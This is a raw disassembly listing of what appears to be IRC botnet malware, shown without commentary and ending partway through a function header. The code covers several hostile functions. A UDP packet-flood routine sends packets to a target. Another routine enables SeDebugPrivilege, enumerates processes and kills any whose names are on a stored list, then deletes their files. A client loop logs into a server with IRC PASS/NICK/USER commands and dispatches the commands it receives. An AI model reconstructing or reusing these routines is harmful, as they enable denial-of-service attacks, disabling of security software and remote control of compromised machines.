		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_138]
		call	sub_4045DD
		add	esp, 14h


loc_406F21:				; CODE XREF: sub_406E62+9Dj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_401C33
		push	[ebp+var_24]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_407076
; ---------------------------------------------------------------------------


loc_406F3D:				; CODE XREF: sub_406E62+6Aj
					; sub_406E62+7Dj
		cmp	[ebp+var_28], edi
		jge	short loc_406F45
		mov	[ebp+var_28], edi


loc_406F45:				; CODE XREF: sub_406E62+DEj
		mov	eax, 0FFFFh
		cmp	[ebp+var_28], eax
		jle	short loc_406F52
		mov	[ebp+var_28], eax


loc_406F52:				; CODE XREF: sub_406E62+EBj
		cmp	ecx, edi
		jz	short loc_406F5D
		mov	eax, [ecx+0Ch]
		mov	eax, [eax]
		jmp	short loc_406F60
; ---------------------------------------------------------------------------


loc_406F5D:				; CODE XREF: sub_406E62+F2j
		lea	eax, [ebp+arg_0]


loc_406F60:				; CODE XREF: sub_406E62+F9j
		cmp	[ebp+var_28], edi
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		jnz	short loc_406F7B
		call	sub_412D71
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_406F7E
; ---------------------------------------------------------------------------


loc_406F7B:				; CODE XREF: sub_406E62+106j
		push	[ebp+var_28]


loc_406F7E:				; CODE XREF: sub_406E62+117j
		call	dword_4335EC	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_34]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_2C], edi
		mov	[ebp+var_34], eax
		jnz	short loc_406F9C
		mov	[ebp+var_2C], esi


loc_406F9C:				; CODE XREF: sub_406E62+135j
		xor	esi, esi
		cmp	[ebp+var_30], edi
		jle	short loc_407017


loc_406FA3:				; CODE XREF: sub_406E62+159j
		call	sub_412D71
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_30]
		mov	[ebp+esi-10315h], dl
		jl	short loc_406FA3
		jmp	short loc_407017
; ---------------------------------------------------------------------------


loc_406FBF:				; CODE XREF: sub_406E62+1B8j
		dec	[ebp+var_34]
		push	0Bh
		pop	esi


loc_406FC5:				; CODE XREF: sub_406E62+195j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	sub_412D71
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_30]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10314]
		push	eax
		push	[ebp+var_4]
		call	dword_433470	; sendto
		push	[ebp+var_2C]
		call	ds:dword_41F000	; Sleep
		dec	esi
		jnz	short loc_406FC5
		cmp	[ebp+var_28], edi
		jnz	short loc_407017
		call	sub_412D71
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4335EC	; ntohs
		mov	[ebp+var_12], ax


loc_407017:				; CODE XREF: sub_406E62+13Fj
					; sub_406E62+15Bj ...
		cmp	[ebp+var_34], edi
		jg	short loc_406FBF
		dec	[ebp+var_34]
		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_40705F
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_138]
		call	sub_4045DD
		add	esp, 14h


loc_40705F:				; CODE XREF: sub_406E62+1DBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_401C33
		push	[ebp+var_24]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	edi


loc_407076:				; CODE XREF: sub_406E62+D6j
		call	ds:dword_41F014	; ExitThread


loc_40707C:				; DATA XREF: .data:0042BBE4o
					; .data:0042BBF8o ...
		int	3		; Trap to Debugger
sub_406E62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40707D	proc near		; CODE XREF: sub_4058F3+7p
					; sub_4070E8+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_41F0B4	; GetCurrentProcess
		push	eax
		call	dword_4335D4	; OpenProcessToken
		test	eax, eax
		jnz	short loc_40709C
		leave
		retn
; ---------------------------------------------------------------------------


loc_40709C:				; CODE XREF: sub_40707D+1Bj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		call	dword_4335BC	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4070DA
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4070C3
		or	[ebp+var_8], 2
		jmp	short loc_4070C7
; ---------------------------------------------------------------------------


loc_4070C3:				; CODE XREF: sub_40707D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4070C7:				; CODE XREF: sub_40707D+44j
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_433508	; AdjustTokenPrivileges
		mov	esi, eax


loc_4070DA:				; CODE XREF: sub_40707D+32j
		push	[ebp+var_4]
		call	ds:dword_41F034	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40707D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070E8	proc near		; CODE XREF: sub_4073FB+68p
					; sub_4074FD+Cp ...

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	49h
		xor	eax, eax
		cmp	dword_433490, ebx
		pop	ecx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_4072F9
		cmp	dword_4334EC, ebx
		jz	loc_4072F9
		cmp	dword_433450, ebx
		jz	loc_4072F9
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40707D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_433490	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_4072EC
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		mov	[ebp+var_12C], 128h
		call	dword_4334EC	; Process32First
		test	eax, eax
		mov	esi, ds:dword_41F034
		jz	loc_4072E7
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		call	dword_433450	; Process32Next
		test	eax, eax
		jz	loc_4072E7
		mov	ebx, ds:dword_41F0C4


loc_4071A7:				; CODE XREF: sub_4070E8+1F7j
		cmp	[ebp+arg_10], 0
		jz	short loc_407208
		xor	edi, edi


loc_4071AF:				; CODE XREF: sub_4070E8+E7j
		push	off_42A458[edi]
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_41F0C0	; lstrcmpiA
		test	eax, eax
		jz	short loc_4071D6
		add	edi, 4
		cmp	edi, 9E0h
		jb	short loc_4071AF
		jmp	loc_4072CD
; ---------------------------------------------------------------------------


loc_4071D6:				; CODE XREF: sub_4070E8+DCj
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_4072CD
		push	0
		push	edi
		call	ds:dword_41F0BC	; TerminateProcess
		test	eax, eax
		jnz	loc_4072CD


loc_407200:				; CODE XREF: sub_4070E8+1AFj
		push	edi
		call	esi	; CloseHandle
		jmp	loc_4072CD
; ---------------------------------------------------------------------------


loc_407208:				; CODE XREF: sub_4070E8+C3j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jnz	loc_40729C
		cmp	[ebp+arg_4], edi
		jz	loc_4072CD
		push	[ebp+var_124]
		push	8
		call	dword_433490	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_40725C
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_4334B8	; Module32First
		test	eax, eax
		push	[ebp+var_124]
		jz	short loc_407262
		lea	eax, [ebp+var_230]
		jmp	short loc_407268
; ---------------------------------------------------------------------------


loc_40725C:				; CODE XREF: sub_4070E8+152j
		push	[ebp+var_124]


loc_407262:				; CODE XREF: sub_4070E8+16Aj
		lea	eax, [ebp+var_108]


loc_407268:				; CODE XREF: sub_4070E8+172j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h
		jmp	loc_407200
; ---------------------------------------------------------------------------


loc_40729C:				; CODE XREF: sub_4070E8+125j
		lea	eax, [ebp+var_108]


loc_4072A2:				; CODE XREF: sub_4070E8+1D6j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_4072C4
		test	cl, cl
		jz	short loc_4072C0
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_4072C4
		inc	eax
		inc	eax
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_4072A2


loc_4072C0:				; CODE XREF: sub_4070E8+1C4j
		xor	eax, eax
		jmp	short loc_4072C9
; ---------------------------------------------------------------------------


loc_4072C4:				; CODE XREF: sub_4070E8+1C0j
					; sub_4070E8+1CEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4072C9:				; CODE XREF: sub_4070E8+1DAj
		test	eax, eax
		jz	short loc_407300


loc_4072CD:				; CODE XREF: sub_4070E8+E9j
					; sub_4070E8+101j ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_433450	; Process32Next
		test	eax, eax
		jnz	loc_4071A7
		xor	ebx, ebx


loc_4072E7:				; CODE XREF: sub_4070E8+9Dj
					; sub_4070E8+B3j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_4072EC:				; CODE XREF: sub_4070E8+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40707D
		pop	ecx
		pop	ecx


loc_4072F9:				; CODE XREF: sub_4070E8+3Aj
					; sub_4070E8+46j ...
		xor	eax, eax


loc_4072FB:				; CODE XREF: sub_4070E8+30Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407300:				; CODE XREF: sub_4070E8+1E3j
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		push	[ebp+var_124]
		mov	edi, eax
		push	8
		call	dword_433490	; CreateToolhelp32Snapshot
		push	[ebp+var_4]
		mov	ebx, eax
		mov	[ebp+var_350], 224h
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:dword_41F0BC	; TerminateProcess
		test	eax, eax
		jnz	short loc_407345
		push	edi
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle
		jmp	short loc_4072F9
; ---------------------------------------------------------------------------


loc_407345:				; CODE XREF: sub_4070E8+253j
		cmp	[ebp+arg_18], 0
		jz	loc_4073F3
		lea	eax, [ebp+var_350]
		push	eax
		push	ebx
		call	dword_4334B8	; Module32First
		test	eax, eax
		jz	short loc_4073B8
		push	ebx
		call	esi	; CloseHandle
		xor	esi, esi


loc_407366:				; CODE XREF: sub_4070E8+2B2j
		push	7D0h
		call	ds:dword_41F000	; Sleep
		push	20h
		lea	eax, [ebp+var_230]
		push	eax
		inc	esi
		call	ds:dword_41F0A0	; SetFileAttributesA
		lea	eax, [ebp+var_230]
		push	eax
		call	ds:dword_41F0B8	; DeleteFileA
		test	eax, eax
		setnz	al
		test	al, al
		jnz	short loc_4073AA
		cmp	esi, 5
		jl	short loc_407366
		lea	eax, [ebp+var_230]
		push	eax
		push	offset aCouldNotDelete ; "Could	not delete '%s'.!\n"
		jmp	short loc_4073C4
; ---------------------------------------------------------------------------


loc_4073AA:				; CODE XREF: sub_4070E8+2ADj
		lea	eax, [ebp+var_230]
		push	eax
		push	offset aFileDeletedS_ ;	"[FILE]: Deleted '%s'.\n"
		jmp	short loc_4073C4
; ---------------------------------------------------------------------------


loc_4073B8:				; CODE XREF: sub_4070E8+277j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aCannotExtractP ; "Cannot extract process path for %s\n"


loc_4073C4:				; CODE XREF: sub_4070E8+2C0j
					; sub_4070E8+2CEj
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_4073F3
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_4073F3:				; CODE XREF: sub_4070E8+261j
					; sub_4070E8+2EFj
		xor	eax, eax
		inc	eax
		jmp	loc_4072FB
sub_4070E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4073FB	proc near		; DATA XREF: sub_4078FA+43C7o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 298h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+74h+var_298]
		push	offset aProcListingPro ; "[PROC]: Listing processes:"
		push	eax
		call	sub_412BB5
		xor	esi, esi
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_407453
		push	esi
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_298]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4045DD
		add	esp, 14h


loc_407453:				; CODE XREF: sub_4073FB+3Cj
		push	esi
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_94]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4070E8
		add	esp, 1Ch
		test	eax, eax
		lea	eax, [ebp+74h+var_298]
		jnz	short loc_40747C
		push	offset aProcProcessLis ; "[PROC]: Process list completed."
		jmp	short loc_407481
; ---------------------------------------------------------------------------


loc_40747C:				; CODE XREF: sub_4073FB+78j
		push	offset aProcProcessL_0 ; "[PROC]: Process list failed."


loc_407481:				; CODE XREF: sub_4073FB+7Fj
		push	eax
		call	sub_412BB5
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4074A8
		push	esi
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_298]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4045DD
		add	esp, 14h


loc_4074A8:				; CODE XREF: sub_4073FB+91j
		lea	eax, [ebp+74h+var_298]
		push	eax
		call	sub_401C33
		push	[ebp+74h+var_14]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_4073FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4074C6	proc near		; CODE XREF: sub_4078FA+35CAp
					; sub_410FD3+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		push	0
		push	1F0FFFh
		inc	edi
		call	ds:dword_41F0C4	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_4074F8
		push	0
		push	esi
		call	ds:dword_41F0BC	; TerminateProcess
		test	eax, eax
		jnz	short loc_4074F8
		push	esi
		xor	edi, edi
		call	ds:dword_41F034	; CloseHandle


loc_4074F8:				; CODE XREF: sub_4074C6+1Aj
					; sub_4074C6+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4074C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4074FD	proc near		; DATA XREF: sub_4078FA+1EC7o
		push	esi
		xor	esi, esi


loc_407500:				; CODE XREF: sub_4074FD+20j
		push	esi
		push	1
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4070E8
		add	esp, 1Ch
		push	dword_42A450
		call	ds:dword_41F000	; Sleep
		jmp	short loc_407500
sub_4074FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=58h


sub_40751F	proc near		; CODE XREF: sub_40779B+D0p

var_1E1C	= byte ptr -1E1Ch
var_E1C		= byte ptr -0E1Ch
var_64C		= byte ptr -64Ch
var_5AC		= byte ptr -5ACh
var_4AC		= byte ptr -4ACh
var_2AC		= byte ptr -2ACh
var_AC		= byte ptr -0ACh
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	eax, 1E1Ch
		lea	ebp, [esp-58h]
		call	sub_412DD0
		push	ebx
		push	esi
		xor	ebx, ebx
		push	2
		mov	[ebp+58h+var_14], ebx
		lea	eax, [ebp+58h+var_5AC]
		pop	ecx


loc_40753E:				; CODE XREF: sub_40751F+28j
		and	byte ptr [eax],	0
		add	eax, 80h
		dec	ecx
		jnz	short loc_40753E
		cmp	byte_479BB4, 0
		jz	short loc_407567
		push	offset byte_479BB4
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+58h+arg_0]
		call	sub_404592
		add	esp, 0Ch


loc_407567:				; CODE XREF: sub_40751F+31j
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_2C]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40E7B0
		add	esp, 10h
		push	eax
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_AC]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+58h+var_AC]
		add	esp, 14h
		lea	esi, [eax+1]


loc_407595:				; CODE XREF: sub_40751F+7Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_407595
		push	ebx
		sub	eax, esi
		push	eax
		lea	eax, [ebp+58h+var_AC]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4075CD
		push	[ebp+58h+arg_0]
		call	dword_4335AC	; closesocket
		push	7D0h
		call	ds:dword_41F000	; Sleep
		xor	eax, eax
		jmp	loc_407794
; ---------------------------------------------------------------------------


loc_4075CD:				; CODE XREF: sub_40751F+91j
		push	edi
		jmp	loc_40775A
; ---------------------------------------------------------------------------


loc_4075D3:				; CODE XREF: sub_40751F+262j
		lea	eax, [ebp+58h+var_E1C]
		push	eax
		lea	eax, [ebp+58h+var_1E1C]
		push	eax
		call	sub_40564B
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_18], eax
		mov	[ebp+58h+var_10], ebx
		jle	loc_40775A
		lea	esi, [ebp+58h+var_E1C]
		mov	[ebp+58h+var_C], esi


loc_4075FF:				; CODE XREF: sub_40751F+235j
		push	offset asc_4246B4 ; " :"
		push	dword ptr [esi]
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+58h+var_2AC]
		rep stosd
		call	sub_413920
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_4], eax
		jz	short loc_407629
		add	[ebp+58h+var_4], 2
		jmp	short loc_40762E
; ---------------------------------------------------------------------------


loc_407629:				; CODE XREF: sub_40751F+102j
		mov	eax, [esi]
		mov	[ebp+58h+var_4], eax


loc_40762E:				; CODE XREF: sub_40751F+108j
		push	1FFh
		push	[ebp+58h+var_4]
		lea	eax, [ebp+58h+var_2AC]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+58h+var_2AC]
		push	offset asc_4246B0 ; "|"
		push	eax
		call	sub_413859
		add	esp, 14h
		test	eax, eax
		mov	[ebp+58h+var_8], eax
		lea	ebx, [ebp+58h+var_2AC]
		jz	loc_407743


loc_407667:				; CODE XREF: sub_40751F+21Ej
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+58h+var_4AC]
		rep stosd
		mov	eax, [esi]
		mov	ecx, [ebp+58h+var_4]
		sub	ecx, eax
		push	ecx
		push	eax
		lea	eax, [ebp+58h+var_4AC]
		push	eax
		call	sub_412C40
		mov	eax, [ebp+58h+var_8]
		add	esp, 0Ch
		mov	esi, eax


loc_407693:				; CODE XREF: sub_40751F+179j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_407693
		lea	edi, [ebp+58h+var_4AC]
		sub	eax, esi
		dec	edi


loc_4076A3:				; CODE XREF: sub_40751F+18Aj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_4076A3
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+58h+var_8]
		and	ecx, 3
		rep movsb
		lea	esi, [eax+1]


loc_4076BF:				; CODE XREF: sub_40751F+1A5j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4076BF
		sub	eax, esi
		lea	ebx, [ebx+eax+1]
		push	offset asc_4246B0 ; "|"
		push	ebx
		call	sub_413859
		pop	ecx
		xor	esi, esi
		pop	ecx
		mov	[ebp+58h+var_8], eax
		inc	esi


loc_4076DF:				; CODE XREF: sub_40751F+206j
		push	[ebp+58h+arg_1C]
		lea	eax, [ebp+58h+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+58h+var_64C]
		push	eax
		lea	eax, [ebp+58h+var_5AC]
		push	eax
		push	[ebp+58h+arg_18]
		lea	eax, [ebp+58h+var_4AC]
		push	[ebp+58h+arg_C]
		push	[ebp+58h+arg_8]
		push	[ebp+58h+arg_4]
		push	[ebp+58h+arg_0]
		push	eax
		call	sub_4078FA
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		test	esi, esi
		jle	short loc_407727
		push	0FAh
		call	ds:dword_41F000	; Sleep
		jmp	short loc_4076DF
; ---------------------------------------------------------------------------


loc_407727:				; CODE XREF: sub_40751F+1F9j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_407790
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40778B
		cmp	esi, 0FFFFFFFFh
		jz	short loc_407787
		cmp	[ebp+58h+var_8], 0
		mov	esi, [ebp+58h+var_C]
		jnz	loc_407667


loc_407743:				; CODE XREF: sub_40751F+142j
		inc	[ebp+58h+var_10]
		mov	eax, [ebp+58h+var_10]
		add	esi, 4
		xor	ebx, ebx
		cmp	eax, [ebp+58h+var_18]
		mov	[ebp+58h+var_C], esi
		jl	loc_4075FF


loc_40775A:				; CODE XREF: sub_40751F+AFj
					; sub_40751F+D1j
		xor	eax, eax
		push	ebx
		lea	edi, [ebp+58h+var_1E1C]
		mov	ecx, 400h
		rep stosd
		push	1000h
		lea	eax, [ebp+58h+var_1E1C]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_433414	; recv
		test	eax, eax
		jg	loc_4075D3


loc_407787:				; CODE XREF: sub_40751F+215j
		xor	eax, eax
		jmp	short loc_407793
; ---------------------------------------------------------------------------


loc_40778B:				; CODE XREF: sub_40751F+210j
		xor	eax, eax
		inc	eax
		jmp	short loc_407793
; ---------------------------------------------------------------------------


loc_407790:				; CODE XREF: sub_40751F+20Bj
		push	2
		pop	eax


loc_407793:				; CODE XREF: sub_40751F+26Aj
					; sub_40751F+26Fj
		pop	edi


loc_407794:				; CODE XREF: sub_40751F+A9j
		pop	esi
		pop	ebx
		add	ebp, 58h
		leave
		retn
sub_40751F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40779B	proc near		; CODE XREF: sub_40D1EF+472p
					; DATA XREF: sub_4078FA+296Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	59h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		inc	ebx
		rep movsd
		mov	[eax+160h], ebx
		jmp	loc_407896
; ---------------------------------------------------------------------------


loc_4077C5:				; CODE XREF: sub_40779B+129j
		push	7
		pop	ecx
		xor	eax, eax
		push	eax
		push	dword_42AE68
		lea	edi, [ebp+var_2C]
		push	dword_42AE64
		rep stosd
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40E7B0
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_434350
		push	edi
		push	eax
		call	sub_412C40
		add	esp, 1Ch
		push	6
		push	ebx
		push	2
		call	dword_4334A0	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		mov	dword_434344[eax], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_433458	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4078CC
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset aMainConnectedT ; "[MAIN]: Connected to %s."
		call	sub_401CA7
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		push	[ebp+var_190]
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40751F
		add	esp, 28h
		push	esi
		mov	edi, eax
		call	dword_4335AC	; closesocket
		test	edi, edi
		jz	short loc_407896
		cmp	edi, ebx
		jnz	short loc_407891
		push	1D4C0h
		call	ds:dword_41F000	; Sleep
		jmp	short loc_407896
; ---------------------------------------------------------------------------


loc_407891:				; CODE XREF: sub_40779B+E7j
		cmp	edi, 2
		jz	short loc_4078E7


loc_407896:				; CODE XREF: sub_40779B+25j
					; sub_40779B+E3j ...
		push	[ebp+var_3C]
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_10], 2
		call	dword_4335EC	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_406B1D
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	loc_4077C5
		jmp	short loc_4078F3
; ---------------------------------------------------------------------------


loc_4078CC:				; CODE XREF: sub_40779B+92j
		push	esi
		call	dword_4335AC	; closesocket
		call	sub_406B46
		push	7D0h
		call	ds:dword_41F000	; Sleep
		mov	eax, ebx
		jmp	short loc_4078F3
; ---------------------------------------------------------------------------


loc_4078E7:				; CODE XREF: sub_40779B+F9j
		push	[ebp+var_34]
		call	sub_4111AE
		pop	ecx
		push	2
		pop	eax


loc_4078F3:				; CODE XREF: sub_40779B+12Fj
					; sub_40779B+14Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40779B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078FA	proc near		; CODE XREF: sub_40751F+1ECp

var_2178	= byte ptr -2178h
var_1D78	= byte ptr -1D78h
var_1BE8	= byte ptr -1BE8h
var_19E8	= byte ptr -19E8h
var_18E8	= byte ptr -18E8h
var_17E8	= byte ptr -17E8h
var_15E8	= byte ptr -15E8h
var_15E4	= byte ptr -15E4h
var_14E4	= dword	ptr -14E4h
var_14E0	= byte ptr -14E0h
var_13E0	= byte ptr -13E0h
var_1360	= dword	ptr -1360h
var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= byte ptr -1344h
